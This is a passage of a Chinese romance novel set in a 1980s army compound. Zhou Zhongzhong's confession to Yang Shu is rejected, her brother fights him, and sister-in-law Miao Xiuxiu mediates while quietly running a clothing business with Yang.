人家苗秀秀都能既照顾家庭,又兼顾事业,虽然开个裁缝铺也算不得什么大事业,但是周中中从这个小小的裁缝铺里看到了苗秀秀的野心,起码她敢走出这一步,信心坚定不畏惧所有人的反对,就值得别人对她刮目相看。
和司机说了一声,周中中从车里下来,漫步在林荫道上,思量再三,她决定去找杨澍说个清楚,他俩以前无话不谈,后来渐渐生分了,也是因为她对他的感情发生了变化,变得不再单纯,他大概也是发现了这种变化,才会越来越不把她放在眼里。
敲开杨家的门,杨澍的妈妈、军区装备部田总工程师一看到周中中来了,对她特别热情,这姑娘小时候是他家常客,长大以后虽然不怎么来了,但一直是她心里最佳儿媳妇人选。
田总工有两女一子,两个女儿已经结婚,就剩杨澍这个小儿子还单着,家里说过好多回,他始终说没遇到合适的,也不知道想找个什么样的,田总工为此操碎了心。
“中中,你好久没到阿姨家来了。”田总工让保姆给周中中泡咖啡,又亲自削水果给她吃。周中中推辞不过,只得把削好的苹果接过去。
“学校这段时间忙着国庆阅兵方阵的事,没时间过来,这不阅兵一结束,我就来看您了,您最近身体还好吧?杨伯伯身体还好吧?”
“我们都挺好的。”
田总工拉着周中中的手,越看她越顺眼,这要是给自己当儿媳妇,那是一百个一千个满意。怪只怪杨澍那个小没良心的,放着这么好的姑娘不要,非要想些有的没的。
“杨澍在家吗?”周中中下意识看了一眼楼上。
“在呢,在楼上他自己房间里,你上去看看他。”
47. 第四十六章
田总工当然知道周中中来自己家里的目的必然是为了杨澍,这姑娘之前就对杨澍表现出好感,只可惜杨澍始终不怎么回应,她在旁边看着都着急,总想帮他们使点力气,然而谈恋爱这种事又不好越俎代庖,她这样在苏联留过学的知识分子也不作兴给儿子包办婚姻,因此只能干着急。
周中中理了理头发,抬头挺胸踏着楼梯走上二楼,走到杨澍房间门口时敲了敲门。一阵拖鞋踢踏声后,杨澍过来开门。
看到是她,身上只穿着背心短裤的杨澍惊了一下,让她等一分钟,他穿好衣服再请她进屋。谁能想到大清早的她会来,他开门之前还以为是他妈。
秋天的早晨凉飕飕的,他习惯性地把军装披在肩上,让周中中在沙发上随便坐,自己则跑去刷牙洗漱。
周中中坐在沙发上,打量着他房间里布置,除了床和家具,还有成套的音响,就连墙上挂的画也是很有艺术风格的,周中中虽然看不懂他房间里这些抽象派、现代派画作的涵义,但也知道,这是他在法国留学那一年多受到的影响,似乎就是从那以后,他俩的关系越来越疏远。
杨澍洗漱过后回来,问周中中:“你怎么一大早过来了?”周中中却不急着谈正事了,说:“你还没吃早饭吧,要不你先吃点早饭,我再和你说话。”
“怎么,你说的话会让我吃不下饭?那你干脆别说了,哪有一大早就跑到人家里来让人吃不下饭的?”杨澍英俊的脸上带着点调侃的笑意。
周中中看着他,他是什么时候变成这个样子的?好像目空一切,什么都不放在眼里,也什么都不放在心上。
然而,不管他的态度如何,周中中都决定了要和他谈一个结果出来,说:“你先去吃早饭,我等你。”
杨澍没说话,拿起电话拨了一个号码,让保姆小桂把早餐送到楼上来。杨澍的父母早年都是留学海外归来的知识分子,在部队也都是担任技术职务,早餐都是西式的,吃火腿煎蛋三明治牛奶面包。
保姆小桂拿着托盘敲门进来,把早餐放到桌上,杨澍随手拿起熏肉三明治咬了一口,又喝了一大口牛奶,对周中中说:“你有什么想说的直接说吧,你说我听着。”
等小桂走了以后,周中中郑重地说:“关于我喜欢你这件事,你有什么看法?我想听你说真话,你怎么想的就怎么说,不用考虑我面子。”
她的话太过突然,杨澍明显被噎了一下,抬眼看她,好半天才把卡在喉咙里的食物咽下去,“太直接了吧?”
“毛主席说,一万年太久,只争朝夕。年轻人就是要像八九点钟的太阳,朝气蓬勃——”
“得得,别给我念紧箍咒,我懂你的意思。”
杨澍把手里的三明治吃完了,又喝了一大口牛奶,才对周中中说:“我没什么看法,你喜不喜欢我是你的自由,不用征求我意见,管天管地,还能管得了谁心里惦记谁?”
“你的意思是,我喜不喜欢你和你无关,和你喜不喜欢我是两码事,你不会干涉我喜欢你,但也绝不承诺你会喜欢我,是这个意思吗?”周中中把逻辑关系理得很顺。
“差不多吧。”杨澍又开始吃俄式红肠,自己拿刀子切成薄薄的一片片,不用叉子,反而用手抓起来吃,看周中中圆睁着杏眼看自己,拿起两片红肠递给她,“吃吗?我爸战友从哈尔滨带过来的。”
周中中接过去,放到嘴里吃,味道确实不错,反正她来之前就已经想好了,这是她最后一次和他摊牌,不管结果如何,她都能、也必须能承受。
“我对一个不喜欢我的人,也不会喜欢太久的,我更不是伤春悲秋的林妹妹,喜怒哀乐只和贾宝玉有关,明年夏天我毕业后就会去美国留学,我对我的未来充满了理想和信心,所以我来找你,只是想告诉你一声,我喜欢过你,尽管只是我一个人的独角戏,我也不后悔,因为我的心是纯洁真诚的,今天之后,我会和过去的我告别。”
周中中说得很郑重,也很坚定。
杨澍眯缝起眼睛,咧着嘴坏笑,“我也是你告别的一部分?你来就是通知我,你已经单方面决定要把我甩了?”
“差不多吧。”周中中学他刚才说过的话,以其人之道还治其人之身。
“这样的喜欢,太廉价了吧。”杨澍拿餐巾纸擦了擦手,把餐巾纸丢进垃圾桶,“既没有表现出什么诚意,还摆出一副高姿态,好像你喜欢我是赏我脸似的、你不喜欢我我就损失惨重,这种喜欢没有深度没有波澜起伏,更没有心潮澎湃,顶多也就是小女孩自以为是的爱情……我不稀罕。”
周中中被他的话噎住,一张脸由白转红,不自觉地咬着下唇,她是考虑过他拒绝的话会不怎么好听,但没想到他会这么直接的戳她的心窝子,差点就要支撑不住。
“你——”
“抱歉,是你自己让我想怎么说就怎么说,不用考虑你面子,我想你既然来了,我们不如一次性把话说清楚。”
杨澍也是桀骜不驯的执拗脾气,一点也不会让着周中中。周中中暗自瞥了他一眼,他的脸上早已没有了先前那种心不在焉,反而看起来气汹汹的,让她除了看不透他,还有点怕他。
思量片刻,周中中鼓起勇气,再次说:“我刚才的表达可能有点问题,让你误会,我没有高姿态,也并非没有诚意,我想表达的意思是,不管你接受与否,我承认我喜欢你,就算将来不喜欢了,也不后悔现在喜欢。”
杨澍看着周中中,默然不语。
周中中继续说:“来你家之前我就做好了被你拒绝的打算,事实上表白也不是我来的最终目的,你平常对我的态度我心里早就有数了,我真正想要知道的是你为什么不喜欢我,我什么地方做得不好?”
姑娘态度诚恳,杨澍也就不好再驳她的面子,
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就算不喜欢她,小时候青梅竹马的情意总还是在,他思考了一会儿,说:“为什么就一定是你做得不好呢,我和你单纯就是不来电而已,从小到大我一直把你当妹妹。你明白吗,中中,不是你不好,而是你根本不是我喜欢的类型。”
“那你喜欢什么类型的?我三嫂那样的……那个类型?”周中中脱口而出。杨澍皱起眉头,“为什么扯上她?”
“你不是说她漂亮,还老去找她。”说到这里,周中中又有点愤愤然,之前反复构筑的心理建设一遇到嫉妒就溃不成堤。
杨澍脸刷一下就严肃起来,郑重其事看着周中中,“首先,我说她漂亮,只是单纯的赞美,她确实长得漂亮;其次,我没有老去找她,我找她都是为团里演出服的事,你这样胡说八道,很容易引起别人的误会,损害你三嫂的名誉。”
周中中看到他表情里那种很明显的憎恶,知道自己一不小心说错了话,心瞬间沉到谷底,眼泪含在眼里,勉强挤出一丝笑,“我明白了,谢谢你这么坦白。对不起,打扰了。”
没等杨澍说话,周中中起身离开。飞一般跑下楼,冲出客厅,等田总工追到门口,她已经跑远了。田总工心里着急,蹭蹭蹭上楼去找儿子算账。
看到他漫不经心坐在那里吃红肠和煎鸡蛋,田总工气更是不打一处来,斥责儿子,“你怎么回事?怎么把中中给气跑了?杨澍,你什么时候才能让我省点心。你说你都二十五六了,能不能——”
杨澍打断妈妈的话,不想听她老生常谈,“妈,我跟您说过多少次了,别说我现在二十五六,就算是六十五二,我也不会娶一个我不喜欢的人,周中中是您看上她,不是我看上她。”
田总工叹了口气,苦口婆心劝道:“那你到底想找个什么样的,你倒是说呀?中中这样要学历有学历、要长相有长相的大家闺秀你看不上,文工团那些唱歌跳舞的漂亮姑娘你又嫌人家浅薄没品味,你到底想找个什么样的,倒是说出来给我们听听,我们也好照你说的去给你找。”
“找不到了,她对我来说是独一无二的。”杨澍往沙发上一仰,表情阴沉。
“Lola再好,她毕竟是个法国人,你和她这辈子都不可能。”田总工对儿子在法国的恋情有所耳闻,但是和他爸爸一样,不同意这门婚事。想和外国人结婚,就得退出现役,代价未免太大了。
“可湛未未也是法国华侨,不照样和叶巍然结婚了。”
“那能一样吗,人家湛未未的爷爷早年赴法勤工俭学,是最早的一批老党员、和周总理一起工作过,湛未未回国后放弃了法国国籍,加入了中国籍,上面才批准她和叶巍然结婚。你那个Lola她甚至都不是华侨,而是个混血,她父亲是个地道法国人,母亲是香港人,你用脚指头想想,组织上也不可能批准你和她结婚。”
杨澍沉默了,别过脸不想再提这件事。
48. 第四十七章
周中中回到家里,把自己关在房间里哭了好长时间。凭着一腔冲动去找杨澍摊牌,哪知道自己并不如想象中那般坚强,听到他拒绝的话,她心里难受极了。当着他的面还能忍住不哭,回到家里就再也忍不住了。
沈芬玉看到女儿一脸阴沉回来,回来后就把自己关在房间里,中午吃饭的时候都没出来,有点担心地去敲女儿房门。
“中中,吃饭了,出来吃饭吧。”
沈芬玉叫了好几声,周中中也没过来开门,回头看到小张已经把饭菜摆上桌子,沈芬玉对周明康说起女儿的反常。
“不知道怎么回事,一回来就把自己关在房间里,吃饭也不出来。”
“不出来就不出来吧,饿了自然会出来吃,不饿就随她去。”
周明康并不怎么担心,以为女儿只是遇到了什么不顺心的事,发点小脾气,因此也没放在心上。
晚饭周中中倒是出来吃了,依旧没精打采,眼睛也是红肿的,沈芬玉看着心疼,向她询问情况。周中中咬了咬嘴唇,勉强道:“没什么,妈妈,您不要为我担心,我就是心情不大好,过两天等我想通了就好了。”
女儿既然这么说了,沈芬玉也就暂时打消了盘问的心思,可心里总在好奇,到底是遇上什么事了,让她开朗乐观的女儿变得这么脆弱,以前中中是男孩子脾气,多少年都没看到她哭过了。
私下里问大女儿周湘南,周湘南也说不知道。
“妈,小妹会不会是去找杨澍了?结果在人家那里碰了钉子?”周湘南觉得,以小妹的脾气,能让她伤心到好几天都吃不下饭的,应该只有杨澍了。
“会是这样吗?她和杨澍能有什么?”沈芬玉依稀知道女儿喜欢杨澍,但因为女儿还在上学,没到谈婚论嫁的年龄,也就没太放在心上。
“小妹喜欢杨澍,但杨澍对她好像没那个意思,上回中中约杨澍去听音乐会,杨澍没答应,估计中中去找杨澍表白,被拒绝了。”周湘南分析着。
“还有这种事?杨澍那小子狂什么狂,咱中中哪里配不上他了?”
“谈恋爱嘛,有看对眼的,也有对不上眼的,这不是很正常,您劝劝中中,何必钻牛角尖。”
“好,我一会就去找她谈谈。”
摸清了大概情况,沈芬玉找周中中谈话就好抓重点了,周中中已经伤心了整整三天,听到妈妈又提起杨澍,顿时又绷不住了,把心里的委屈一股脑儿向妈妈倾诉。
沈芬玉听女儿说明了前因后果,叹着气说:“这就是你和他没有缘分,好在你对他也没发展出多深的感情,早点说清楚也好。”
怎么可能没有感情,喜欢了那么多年的人,周中中心里委屈,但是又不好把这话说出来,她毕竟是个年轻姑娘,主动向男人表白,却遭到人家拒绝,说到底也不是什么光彩的事,她宁愿把苦水都烂在心里,也不想让更多人知道。
看到女儿眼睛都哭肿了,人也瘦了一大圈,沈芬玉心疼不已,叹了口气,离开女儿房间。
看到老伴周明康正在打电话,沈芬玉知道他又在为裁军的事烦恼,风声越传越紧,听说这次上头决心很大,预计将有百万官兵退伍回家,怎么动员这些人退,退下来以后如何安置,都是大问题。相比这些棘手的事,女儿失恋那点小事就不足挂齿了,她不想在这个时候让老伴烦心。
披上外套,沈芬玉从家里出来,想在家属区附近溜达溜达,顺便散散心。
杨澍那小子也是她看着长大的,人长得是一表人才,也极聪明,军校毕业后还去过国外留学,各方面都相当优秀,是她心里女婿的不二人选,可谁知道月老偏偏不给他和中中牵红线,落花有意,流水却无情。
人有心事的时候,走路难免分神,等沈芬玉回过神来,发现自己竟然已经走到了小儿子家楼下,她抬头看了看,房间漆黑一片,这才想起来,儿媳妇这个时间应该是去夜校上课了,儿子的假期还没有结束,这个点不在家里还能去哪里?
沈芬玉在楼下站了一会,心头始终像是压着块石头,想找人倾诉倾诉,以前她有什么事总是找大女儿商量,自从大女儿上回代表她出面干预苗秀秀开店反而被苗秀秀将了一军之后,大女儿一气之下说家里的事她不想管了,本身她自己家庭就不和睦,也没心思再管兄弟姐妹的事。
继续往家属区深处走,沈芬玉依稀记得附近有个小花园,经常会有老人在那里锻炼,傍晚时分正是大院里最热闹的时候,下班的下班放学的放学,小花园里应该有不少人。
看到一群和自己年纪相仿的老太太聚集在小花园里,有甩手踢腿的,也有舞剑跳扇子舞的,还有好几个聚在一起唠家常。
要是以前,沈芬玉没兴趣和这些老太太为伍,她们大多数是随军家属,还是丈夫级别不怎么高的,级别高的干部们住的要么是周家那一片的将军楼,要么就是条件次一等的六层单元楼,而这一大片全是条件最差的筒子楼,住的要么是新婚小夫妻,要么就是职务相对低的军官。
这一晚不知道怎么了,沈芬玉很想临时加入她们的队伍,听听她们怎么处理家庭纠纷和子女婚姻的问题,面子在这个时候战胜不了心里的念想,她慢慢靠近那群人,装作散步时间太久腿脚需要休息,往小花坛边上一坐,顺利接近了几个目标人物。
“这不是沈大夫吗,沈大夫,这程子老
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没见您,您精气神儿还是这么好。”一个银发苍苍的老太太主动和沈芬玉打招呼。
沈芬玉早不记得这老太太是谁,只得虚应着,听她絮叨半天才想起来之前给她儿子动过阑尾炎手术。
老太太们饭后没事闲磕牙,说的全是些家长里短的牢骚话,不是抱怨儿媳妇处处和自己对着干,就是抱怨儿子长大了不听自己的,几番听下来,和沈芬玉想听的话题离得太远,她忍不住想走。
她刚站起来,一个老太太问另一个老太太的话吸引了她的注意,她不由得又坐了下去。
“老何,听说你儿媳妇结婚三年都没怀上,最近怎么怀上了?是去医院找大夫看了,还是用了什么偏方?”
“嗨,医院不知道去多少回了,没用!后来我听老家的人说有个算命的挺准,我就托人找他给我儿子儿媳妇算了一卦,那算命的说我儿子的儿女缘薄,所以儿媳妇不容易怀上,想要破解,就得先找个别人家的孩子认他俩当干爹干妈,儿女缘结下了以后,后面就好怀了。”
“真管用吗?”
“管用。我让老家的人帮忙挑了邻居家的孩子认我儿子当干爹,这不,才认了三个月不到我儿媳妇就怀上了。”
唉,沈芬玉站起来拍了拍裤子,虽然俩老太太说得有鼻子有眼,到底还是些封建迷信的东西,别说她不信,就算她相信,她也没法说动笃信维护主义和无神论的老伴儿,只要老伴儿不同意,找别人孩子认大女儿当干妈这事就成不了。
可要说不信吧,沈芬玉又有点动心,反正她朋友同事也多,随便找个家里有孙子的,让女儿认个干儿子又没损失,万一有用呢?
一边走一边想,无意中又回到了小儿子家附近。
周北冀骑车带着苗秀秀回家,两人正打情骂俏说笑着,冷不丁一团黑影从花坛后出来,把他吓一跳,车头一歪,就撞了上去。
“哎呦。”沈芬玉一声惨叫。她本来是看到儿子骑车回来,心里高兴想迎上去,哪知道儿子在明她在暗,她贸然过来,儿子根本来不及反应。
“呦,妈,怎么是您啊?”周北冀撞倒老太太已经很紧张,看到老太太竟然是自己老妈就更紧张了,忙把车停下,抢步去扶沈芬玉。
苗秀秀早在周北冀车头歪了的时候就已经跳下车,看清楚周北冀撞到的竟然是他妈,忍不住心里偷笑。看到老太太吃痛的样子,又觉得自己偷笑不地道,上前帮忙扶着沈芬玉。
“妈,您怎么到我家来了?”周北冀问沈芬玉。
沈芬玉疼得直抽气,哪有心思说话。
苗秀秀说:“你就先别问了,扶妈去咱家坐坐,看看有没有哪里受伤。”
49. 第四十八章
进家门以后,沈芬玉坐在沙发上,看到家里到处收拾得很干净,床也铺得整整齐齐,很是欣慰,这才是小俩口过日子的样子。
确认沈芬玉并没有哪里受伤,周北冀总算放下心,陪着老妈坐在沙发上,苗秀秀去厨房切了一盘水果,放到茶几上。
“妈,这么晚了,您怎么一个人出来溜达?”
“还不是为你妹妹的事。”
沈芬玉把周中中向杨澍表白,却遭到杨澍拒绝的事一五一十告诉周北冀,还添油加醋说,他妹妹两三天没好好吃饭,哭得眼睛都肿了。
周北冀本来就对杨澍心存芥蒂,听到这话顿时就火了,气道:“他算老几啊,敢这么瞧不起我妹妹,中中哪里配不上他了,青梅竹马的感情一句当成妹妹就想了结?也太不地道了,没有一点男人的风度。”
“谁说不是呢,小时候他俩那么好,中中天天往杨家跑,杨澍也经常到咱家来吃饭,我和你爸都以为他俩的事是板上钉钉的,谁能想到杨澍出国一趟,居然见异思迁了。”
沈芬玉认定了杨澍是在法国的时候被坏女人给勾住了,才会不把周中中放在心上。听说那些外国女人生活作风都很放荡,杨澍又是个血气方刚的年轻小伙子,哪里经得住她们勾引?
“妈,这事您别操心了,明天我就去找那小子算账,问问清楚,他为什么要甩了我妹妹。”周北冀摩拳擦掌。
沈芬玉看到儿子咬牙切齿的样子,忙说:“儿子,你可别冲动,你是军人,可不能跟人打架,打架是犯纪律的,给学校知道了要开除你的。”
“这事儿您别管,我有分寸。”
苗秀秀在一旁冷眼旁观,婆婆也真是,大晚上的来儿子家诉苦,摆明了就是想让他去帮他妹妹讨个公道,还说什么不能打架,想让他不去惹事就别来拱火啊。周北冀也是,人家瞧不上你妹妹不是很正常,你妹妹又不是人民币,人人都得喜欢。
拿出装糖的罐子,苗秀秀主动对婆婆说,“我妈从老家给我寄来好多柿饼,自己家里晒的,肉厚软糯,您尝一个看看。”
沈芬玉拿了一个柿饼吃,临走的时候还是放心不下儿子,叮嘱他,千万别冲动闯祸。周北冀点了点头,送他妈妈下楼。
等周北冀骑车把沈芬玉送回周家,返回自家的时候,苗秀秀已经洗漱完毕,躺在被子里对着落地灯看书。
周北冀洗漱好了,钻进被子里,抱住苗秀秀想亲热。苗秀秀扭了扭身子,提醒他,“我身上还没干净呢,明天才能彻底结束。”
“为什么这么多天啊,真熬人。”周北冀这两天太煎熬了,每晚抱着老婆,只能看不能碰,□□中烧他都快扛不住了。
“那有什么办法,女人每个月的自然生理现象。”苗秀秀就着灯光看书,别说,这个时代的报刊杂志都挺有意思,很多意识层面的东西比后世还要激进,难怪诗坛和文坛都那么活跃,和人思想的解放也很有关系。
“那明天能行了吧,明天是我假期最后一天了,过后我又得一个星期才能回一次家。”周北冀搂着老婆,脸埋在她怀里蹭来蹭去。
“看着办吧。不管行不行,你可别把旺盛的精力发挥到和人打架上去,中中和杨澍的事你少掺和。”
周北冀笑,“你还以为我真能和杨澍打架呀,我那就是哄哄我妈,我都多大人了,还打架。”
“拎得清就好,你是军人,打架影响恶劣。”苗秀秀轻抚着周北冀的背,像安抚一只小狼狗。只要他不龇着牙出去乱惹事,她什么事都能依着他。
然而,就在第二天傍晚,苗秀秀在家里煎带鱼,李嫂慌慌张张跑过来告诉她,她家周北冀和别人打架,把别人鼻子都打出血了。
苗秀秀一听就猜到怎么回事,也顾不得锅里煎着带鱼,关掉煤气,和李嫂一起出门看看情况。
到了球场却没看到人,一打听才知道都去了卫生院。苗秀秀又一口气跑到卫生院,找了半天才找到周北冀和杨澍。
杨澍脸上肿了一块,鼻子也用纸塞住了,坐在那里等着护士替他消毒。周北冀坐在一旁,倒是毫发无伤。
苗秀秀没说话,走上前拉住周北冀看看,确信他没受伤才放下心来,主动对着杨澍鞠了一躬:“对不起,我代他向你道歉,不该一时冲动和你打架。”
杨澍冷笑一声,看了看苗秀秀,又看了看周北冀,那目光仿佛在说,周北冀你丫真是个孬种,一个大男人还需要女人为你低头。
周北冀哪受得了这气,站起来就要冲上去,被苗秀秀拼命抱住。苗秀秀使出浑身力气,把他按在椅子上坐着,在他耳边低语,“别闹,万一他带伤去学校告你一状,你肯定要背处分,到时候中中失恋的事传开了,闹得满城风雨,对她又是一次伤害,你后悔都来不及。听我的,别闹。”
周北冀一听到会把中中失恋的事传开,瞬间冷静下来,媳妇说得不是没有道理,中中表白被拒绝已经很伤心,传扬出去会很不好听。
杨澍看到原本剑拔弩张的周北冀居然能被苗秀秀三句两句驯服,心里对这个女人更加好奇了。要说周北冀以前也是个不可一世的主儿,眼睛里容不得砂子,怎么现在耳朵根子软成这样,媳妇说什么他都听。
苗秀秀看到杨澍那种幸灾乐祸的表情,对他说:“你也别得意了,这件事情到此为止对大家都好。不管你喜不喜欢中中,一个女孩子喜欢你十几年不容易,你可以不喜欢她,但你不能轻视她,更不能轻视关心她爱护她的家人。”
“这事可怪不到我头上,是中中她——算了,说这个也没什么意思,今天的事本来也不是我挑起的,周北冀先动手打人。”杨澍想说,我都没还手,还不够意思?他一向高傲,不屑多解释。
“所以我代他向你道歉,请你原谅他,你们都是从小一起长大的,为这件事伤感情没必要。恋爱成不成没关系,人还是要做的。”
苗秀秀讲道理的时候谁都说不过她。杨澍忽然就有点明白,为什么一向眼睛长在头顶上的周北冀在她面前如此驯服,这女人说话的时候,句句有理,却又句句藏刀,实在厉害。
结清了杨澍的医药费,周北冀拉着媳妇的手就要往外走。苗秀秀扭头看向杨澍,问他:“我煎了带鱼,要不你去我们家吃饭?算是赔礼。”
“不用了,我对带鱼没什么兴趣。”杨澍光是看到周北冀那张黑透了的脸就看饱了,难以想象要是他不知趣再去他们家吃带鱼,周北冀的脸会变成什么样,只怕京剧里的大花脸都没有他那张脸精彩。
“那好吧,以后有机会再请你。”苗秀秀攥紧了丈
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夫的手,不允许他表现出任何暴躁的情绪,等走出去一段路,眼看着离家不远,才松开手。
“我买的带鱼干嘛要给他吃?”周北冀不高兴,在这件事上他没法和杨澍讲和。
“哎呀,我那就是客气一下,人家杨澍不也没答应么。”苗秀秀看向丈夫,“倒是你,昨晚答应得好好的说不打架,居然没做到,不该自我检讨一下?”
“我不想说,我也不想解释,打球的时候看到那小子得意的样子就来气。”周北冀倔起来的时候十头牛也拉不回,早忘记了自己说过什么话。
“得了得了,回家吃带鱼吧,带鱼堵上你的嘴。”苗秀秀不想为一个外人和他吵。
虽有苗秀秀及时化解,周北冀和杨澍打架的事还是传到了周家人耳朵里,周中中一听说三哥把杨澍给打了,心里说不出是什么滋味,一方面感激三哥对自己兄妹情深,主动替自己出气,另一方面又心酸杨澍,都这样了,人家也没低头,宁愿挨一顿打也绝不后悔说出去的那些话。
一想到杨澍,周中中心里矛盾交加、爱恨交织,虽然他对自己毫无情意,她却没法在短时间内忘记他。
去文工团找夏文竹,周中中本想和她倾诉心事,却不料在排练场看到杨澍。国庆期间有好几场演出,杨澍身为政治部干事经常都得到现场检查监督演出准备情况。
事情过去几天,杨澍脸上那块青肿还没有完全消下去,周中中看到他正指挥小战士搬道具,本想避开他,谁知道他一个转身,让她避无可避。
两人目光对上,周中中略有些尴尬,不知道该不该和他打个招呼,反倒是杨澍落落大方地跟她点了点头,就继续他的工作,扛起一件道具往后台走。
周中中轻轻吐了口气,看到他脸上的伤,她心里特别不好受,他一向是桀骜不驯的性子,小时候也不是没和她三哥打过架,不管打过打不过,他从来不认输,这回生挨这一拳说明他是铁了心要和她划清界限。
夏文竹从舞台帷幕后跑出来,站在舞台上看着周中中,叫她:“我在后台卸妆,你来,咱俩说话。”
周中中走上舞台,跟着夏文竹转到帷幕后面去后台,结果又看到杨澍正在清点演出服装。不光是他,还有他身边的苗秀秀,两人像是在交谈着什么。
夏文竹察言观色,告诉周中中,“你还不知道吧,我们这回国庆文艺汇演的好几件演出服都是你三嫂设计的,听说是杨干事看了她之前给舒华做的演出服后觉得她很有才华,主动找她替我们团里做演出服。”
苗秀秀给舒华做演出服的事她听说过,但是没太放在心上,后来在舞会上看到杨澍找苗秀秀跳舞,又听说他去家里找过苗秀秀,她耿耿于怀好些天,虽然杨澍亲口说只是谈公事,但看到他俩谈笑风生那种样子,她心里还是咯噔了一下。
杨澍似乎并没有因为和三哥打了一架而迁怒到三嫂头上,三嫂也没有为了避嫌而和杨澍保持距离,虽然他俩站在那里很明显是在谈论演出服的事,却很能给旁观者一种奇怪的观感。怪只怪男人太帅而女人又太漂亮,哪怕是寻常正经的谈话,也总有点暧昧的氛围。
他对谁都好,唯独对她这个十几年的青梅竹马不好,只能说明他俩真的缘分尽了,周中中意兴阑珊,拉着夏文竹往化妆室走。
50. 第四十九章
苗秀秀早就看到了夏文竹和她小姑子周中中一前一后到后台来,也猜到她和杨澍站在一起说话会引起那两人的注意,但是她不在乎,她又没做什么见不得人的事情,用不着瞻前顾后替别人考虑那么多。
杨澍忙着在本子上记录演出服的清点情况,没注意到这几个女人间的沉默较量,等到苗秀秀叫他一声,他才应答。
“你刚才说什么?抱歉,我光顾着演出服的颜色和数字,没听清你的话。”杨澍和苗秀秀说话的时候,还不忘记指挥小战士把演出服套上防尘袋。团里经费有限,这些演出服都是要反复给演员穿的,必须精心保护,避免破损。
苗秀秀只得再说一次,“西单夜市那边风衣卖得怎么样了?”
杨澍瞅了瞅四周,确信没人能听到他俩对话,才说:“强子说前阵子天气还热,一天只能卖出去几件,国庆这些天天气转凉了,每天二十多件不成问题。你放心吧,秋天过去之前我们这批衣服肯定全都能卖出去。”
“那就好。”苗秀秀想起刚才的事,问杨澍,“我刚刚看到中中和夏文竹去化妆室了,你和她……以后真没戏了?”
“一直都没戏,我没喜欢过她。”杨澍清点好演出服,和苗秀秀一起离开后台,从侧门离开排练场。
“那周家人说你俩青梅竹马?”苗秀秀一直以为杨澍和周中中之间是有情愫在的,之前的拒绝只不过是两人闹别扭。
“是他们误会了,青梅竹马既可以是爱情,也可以是友情,我对中中就是后者,她从来也不是我喜欢的类型。”
这么一说,苗秀秀就明白了,闹了半天人家确实是从来就没有过那种意思,是小姑子多年来一厢情愿,周北冀也是毛躁,没弄清楚就跳出去打抱不平,幸好杨澍没跟他计较,不然真能告他一个随便动手打人,让他背处分。
但是,苗秀秀到底还是要向着自家人一点,说:“你又不早点说清楚,害得周家人都以为你和她迟早是一对,都觉得你是负心汉。”
“你不会这么想就行。”杨澍淡淡一笑,对别人他不屑解释,但是对苗秀秀,他还是想解释解释,“咱俩以后还要继续合伙做生意,我不希望你觉得我是个人品有问题的人。”
“这个你不用担心,咱俩虽然是合作伙伴,私生活到底是个人的事,我不会多管闲事的。”苗秀秀心里想,哪怕你真是个花花公子,只要不耽误赚钱,我才懒得管呢。
杨澍瞥她一眼,眼波流转笑意,“所以我的直觉没错,你跟我是一类人,知道自己想要什么,不惜一切去争取,不在乎别人怎么想,更关注自己内心。虽然你比中中还小一岁,但你已经是个思想成熟的大人,她还只是个小女孩罢了”
苗秀秀点点头,这样的的思想和灵魂,并不能简单地用花花公子四个字来概述,和他沟通毫不费力,他轻而易举就能了解她的想法,很难不说明他俩真就是一类人。
“眼下咱俩的一致目标就是多赚钱、赚大钱,有一定的财富积累才能谈事业规划。”苗秀秀并不避讳自己对金钱的向往,作为被消费主义洗脑过的人,她对生活质量的要求远高于这个时代的人,更何况她还有事业梦想和野心。
两人散步谈话,身边不少人经过,杨澍有点不放心,问苗秀秀:“你和周北冀说过跟我合伙做生意的事没有?”
“还没。”
“别人的看法可以不管,周北冀那边你还是要跟他说的,没有他支持,以后周家那边你应付不来的。”杨澍考虑事情既深入也全面,苗秀秀再怎么自由,她也是周北冀的老婆,做生意这么大的事不告诉周北冀是不行的,周家人更是不会放过她。
苗秀秀心念一动,眼睛看着他笑,“我怎么觉得,你比我还在乎周北冀的看法?你说周中中从来也不是你喜欢的类型,你该不会是——”
对她这个奇怪的脑洞,杨澍哑然失笑,“是又怎么样,不可以吗?”
苗秀秀微微一愣,看到他笑得很邪,有意说:“可以啊,没说不可以,世界之大,要允许生物多样性的存在。没人管得了谁心里惦记谁,不去骚扰对方就行。”
杨澍瞅她一眼,“你就不担心?”“不担心,他是个直男,不会被你掰弯。”苗秀秀对这一点还是挺有信心的。
“什么叫直男?掰弯又是什么意思?”杨澍没听懂这两个词的意思。苗秀秀没解释,笑道:“没什么意思,我随便说说的。”
杨澍轻叹一声,“我有个女朋友,是个法国女孩子,不过已经分手了。”苗秀秀听到他怅然若失的语气,看到他脸上的惆怅和不甘心,顿时领悟一切。
周末,苗秀秀趁周北冀回家的时候,把自己和杨澍合伙做生意的事告诉他,说自己找杨澍帮忙联系工厂把她画的风衣设计图定做了一批,放在店里卖。
“你非得跟他合作?”自从上回打架,周北冀心里一直对杨澍没什么好感。
“也不算合作,是找他帮忙,他有服装厂的路子,我想把生意做大,就必须把设计出来的衣服量产。”苗秀秀不想在生意的萌芽阶段就被扼死腹中,尽力哄着周北冀。
周北冀冷哼一声,一副别以为我不知道你有几根花花肠子的表情,手里的报纸翻来覆去抖出很大声音。
苗秀秀坐在他身旁,讨好地搂住他脖子,亲亲他,“你不要生气,就算我和他合作,那也是想合伙多赚钱,上回你都把人家给打了,人家也没还手,够给你面子的了。”
“什么叫给我面子,他算老几,我需要他给我面子?是他对不起中中在先,我打他还打错了?”
“他没有对不起中中,对不起的前提是他俩谈恋爱期间他移情别恋,才能叫对不起,问题是人家杨澍根本也没和你妹妹谈,是你妹妹暗恋他,向他表白了,他没接受而已,怎么就成了他的错?”
“你到底是哪一边的?怎么尽帮着外人说话?”周北冀有点来气,把报纸甩在桌上,觉得媳妇胳膊肘往外拐。
苗秀秀瞪着眼,“你再甩一次试试!信不信我把这些报纸都塞到你嘴里?”周北冀翻了个白眼,理都不理她。
苗秀秀抓起茶几上的报纸,揉
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成一团,跨到周北冀腿上坐着,掰着他的下颌,要把报纸往他嘴里塞。
“长本事了你,敢跟我臭来劲。”周北冀挡开她的手,把她的手反剪到身后,又尽量控制住手上的力道,不弄疼她。可军人的手到底不是一般的有力气,就算他控制着,三下两下一掰一弄,苗秀秀的手腕还是疼到不行。
抬手去打周北冀,却不料一拳打在他下巴上。苗秀秀忍不住嗤一声笑。
哎呀,你还打起我来了,我长这么大我妈都没打过我。周北冀又惊又怒看着苗秀秀。苗秀秀啐他一口,没事,你可以去跟你妈告状,说我打你,你满家属院去说我都不怕,看人家信不信。
